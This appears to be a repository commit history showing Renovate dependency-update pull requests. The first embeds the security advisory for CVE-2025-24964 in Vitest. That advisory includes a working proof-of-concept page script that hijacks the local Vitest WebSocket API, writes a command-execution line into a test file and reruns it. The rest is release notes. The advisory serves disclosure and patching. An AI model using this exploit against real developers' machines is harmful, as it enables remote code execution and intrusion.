renovate
|
75c4291325
|
chore: bump up vitest version to v3.0.5 [SECURITY] (#9938)
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)
This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)
### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.
```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​sheremet-va](https://redirect.github.com/sheremet-va) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](ef1464fc7b)
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
|
2025-02-05 09:12:59 +00:00 |
|
renovate
|
27d2735a64
|
chore: bump up all non-major dependencies (#8954)
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.701.0` -> `3.703.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.701.0` -> `3.703.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.41.0` -> `8.42.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.41.0/8.42.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.41.0` -> `8.42.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.41.0/8.42.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.4.5/8.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.4.5/8.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.4.5/8.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.4.5/8.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.4.5/8.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.4.5/8.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.8` -> `20.17.9`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.8/20.17.9) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/2.1.6/2.1.8) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/@vitest%2fui/2.1.6/2.1.8) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.5` -> `16.4.6`](https://renovatebot.com/diffs/npm/dotenv/16.4.5/16.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.5` -> `16.4.6`](https://renovatebot.com/diffs/npm/dotenv/16.4.5/16.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [graphql-scalars](https://redirect.github.com/Urigo/graphql-scalars) | [`1.23.0` -> `1.24.0`](https://renovatebot.com/diffs/npm/graphql-scalars/1.23.0/1.24.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`8.26.0` -> `8.27.0`](https://renovatebot.com/diffs/npm/html-validate/8.26.0/8.27.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.2` -> `15.0.3`](https://renovatebot.com/diffs/npm/marked/15.0.2/15.0.3) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.20` -> `3.0.0-alpha.21` | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.19` -> `3.0.0-alpha.20` | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [nx](https://nx.dev) ([source](https://redirect.github.com/nrwl/nx/tree/HEAD/packages/nx)) | [`20.1.3` -> `20.1.4`](https://renovatebot.com/diffs/npm/nx/20.1.3/20.1.4) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.73.1` -> `4.74.0`](https://renovatebot.com/diffs/npm/openai/4.73.1/4.74.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.0` -> `9.4.1`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.0/9.4.1) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.1.2` -> `15.1.3`](https://renovatebot.com/diffs/npm/react-i18next/15.1.2/15.1.3) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-virtuoso](https://virtuoso.dev/) ([source](https://redirect.github.com/petyosi/react-virtuoso)) | [`4.12.2` -> `4.12.3`](https://renovatebot.com/diffs/npm/react-virtuoso/4.12.2/4.12.3) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/storybook/8.4.5/8.4.6) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tinybench](https://redirect.github.com/tinylibs/tinybench) | [`3.0.6` -> `3.0.7`](https://renovatebot.com/diffs/npm/tinybench/3.0.6/3.0.7) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.1` -> `0.27.2`](https://renovatebot.com/diffs/npm/typedoc/0.27.1/0.27.2) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.1` -> `6.0.2`](https://renovatebot.com/diffs/npm/vite/6.0.1/6.0.2) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/vitest/2.1.6/2.1.8) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.7.2` -> `8.7.3` | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
---
### Release Notes
<details>
<summary>aws/aws-sdk-js-v3 (@​aws-sdk/client-s3)</summary>
### [`v3.703.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37030-2024-12-02)
[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.701.0...v3.703.0)
##### Features
- **client-s3:** Amazon S3 introduces support for AWS Dedicated Local Zones ([a4b4303](a4b43038cb))
</details>
<details>
<summary>getsentry/sentry-javascript (@​sentry/react)</summary>
### [`v8.42.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.42.0)
[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.41.0...8.42.0)
##### Important Changes
- **feat(react): React Router v7 support (library) ([#​14513](https://redirect.github.com/getsentry/sentry-javascript/pull/14513))**
This release adds support for [React Router v7 (library mode)](https://reactrouter.com/home#react-router-as-a-library).
Check out the docs on how to set up the integration: [Sentry React Router v7 Integration Docs](https://docs.sentry.io/platforms/javascript/guides/react/features/react-router/v7/)
##### Deprecations
- **feat: Warn about source-map generation ([#​14533](https://redirect.github.com/getsentry/sentry-javascript/pull/14533))**
In the next major version of the SDK we will change how source maps are generated when the SDK is added to an application.
Currently, the implementation varies a lot between different SDKs and can be difficult to understand.
Moving forward, our goal is to turn on source maps for every framework, unless we detect that they are explicitly turned off.
Additionally, if we end up enabling source maps, we will emit a log message that we did so.
With this particular release, we are emitting warnings that source map generation will change in the future and we print instructions on how to prepare for the next major.
- **feat(nuxt): Deprecate `tracingOptions` in favor of `vueIntegration` ([#​14530](https://redirect.github.com/getsentry/sentry-javascript/pull/14530))**
Currently it is possible to configure tracing options in two places in the Sentry Nuxt SDK:
- In `Sentry.init()`
- Inside `tracingOptions` in `Sentry.init()`
For tree-shaking purposes and alignment with the Vue SDK, it is now recommended to instead use the newly exported `vueIntegration()` and its `tracingOptions` option to configure tracing options in the Nuxt SDK:
```ts
// sentry.client.config.ts
import * as Sentry from '@​sentry/nuxt';
Sentry.init({
// ...
integrations: [
Sentry.vueIntegration({
tracingOptions: {
trackComponents: true,
},
}),
],
});
```
##### Other Changes
- feat(browser-utils): Update `web-vitals` to v4.2.4 ([#​14439](https://redirect.github.com/getsentry/sentry-javascript/pull/14439))
- feat(nuxt): Expose `vueIntegration` ([#​14526](https://redirect.github.com/getsentry/sentry-javascript/pull/14526))
- fix(feedback): Handle css correctly in screenshot mode ([#​14535](https://redirect.github.com/getsentry/sentry-javascript/pull/14535))
#### Bundle size 📦
| Path | Size |
| ---------------------------------------------------------------- | ----------------- |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) | 23.1 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags | 21.84 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing) | 35.61 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) | 72.47 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 62.96 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas) | 76.79 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback) | 89.28 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback) | 39.86 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback) | 27.72 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync) | 32.53 KB |
| [@​sentry/react](https://redirect.github.com/sentry/react) | 25.8 KB |
| [@​sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing) | 38.49 KB |
| [@​sentry/vue](https://redirect.github.com/sentry/vue) | 27.25 KB |
| [@​sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing) | 37.38 KB |
| [@​sentry/svelte](https://redirect.github.com/sentry/svelte) | 23.25 KB |
| CDN Bundle | 24.32 KB |
| CDN Bundle (incl. Tracing) | 37.29 KB |
| CDN Bundle (incl. Tracing, Replay) | 72.15 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) | 77.49 KB |
| CDN Bundle - uncompressed | 71.45 KB |
| CDN Bundle (incl. Tracing) - uncompressed | 110.76 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed | 223.83 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed | 237.05 KB |
| [@​sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client) | 38.78 KB |
| [@​sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client) | 36.14 KB |
| [@​sentry/node](https://redirect.github.com/sentry/node) | 135.08 KB |
| [@​sentry/node](https://redirect.github.com/sentry/node) - without tracing | 97.13 KB |
| [@​sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless) | 109.43 KB |
</details>
<details>
<summary>storybookjs/storybook (@​storybook/addon-essentials)</summary>
### [`v8.4.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#846)
[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.4.5...v8.4.6)
- Addon Test: Use pathe for better windows support - [#​29676](https://redirect.github.com/storybookjs/storybook/pull/29676), thanks [@​yannbf](https://redirect.github.com/yannbf)!
- Angular: Default to standalone components in Angular v19 - [#​29677](https://redirect.github.com/storybookjs/storybook/pull/29677), thanks [@​ingowagner](https://redirect.github.com/ingowagner)!
- Frameworks: Add Vite 6 support - [#​29710](https://redirect.github.com/storybookjs/storybook/pull/29710), thanks [@​yannbf](https://redirect.github.com/yannbf)!
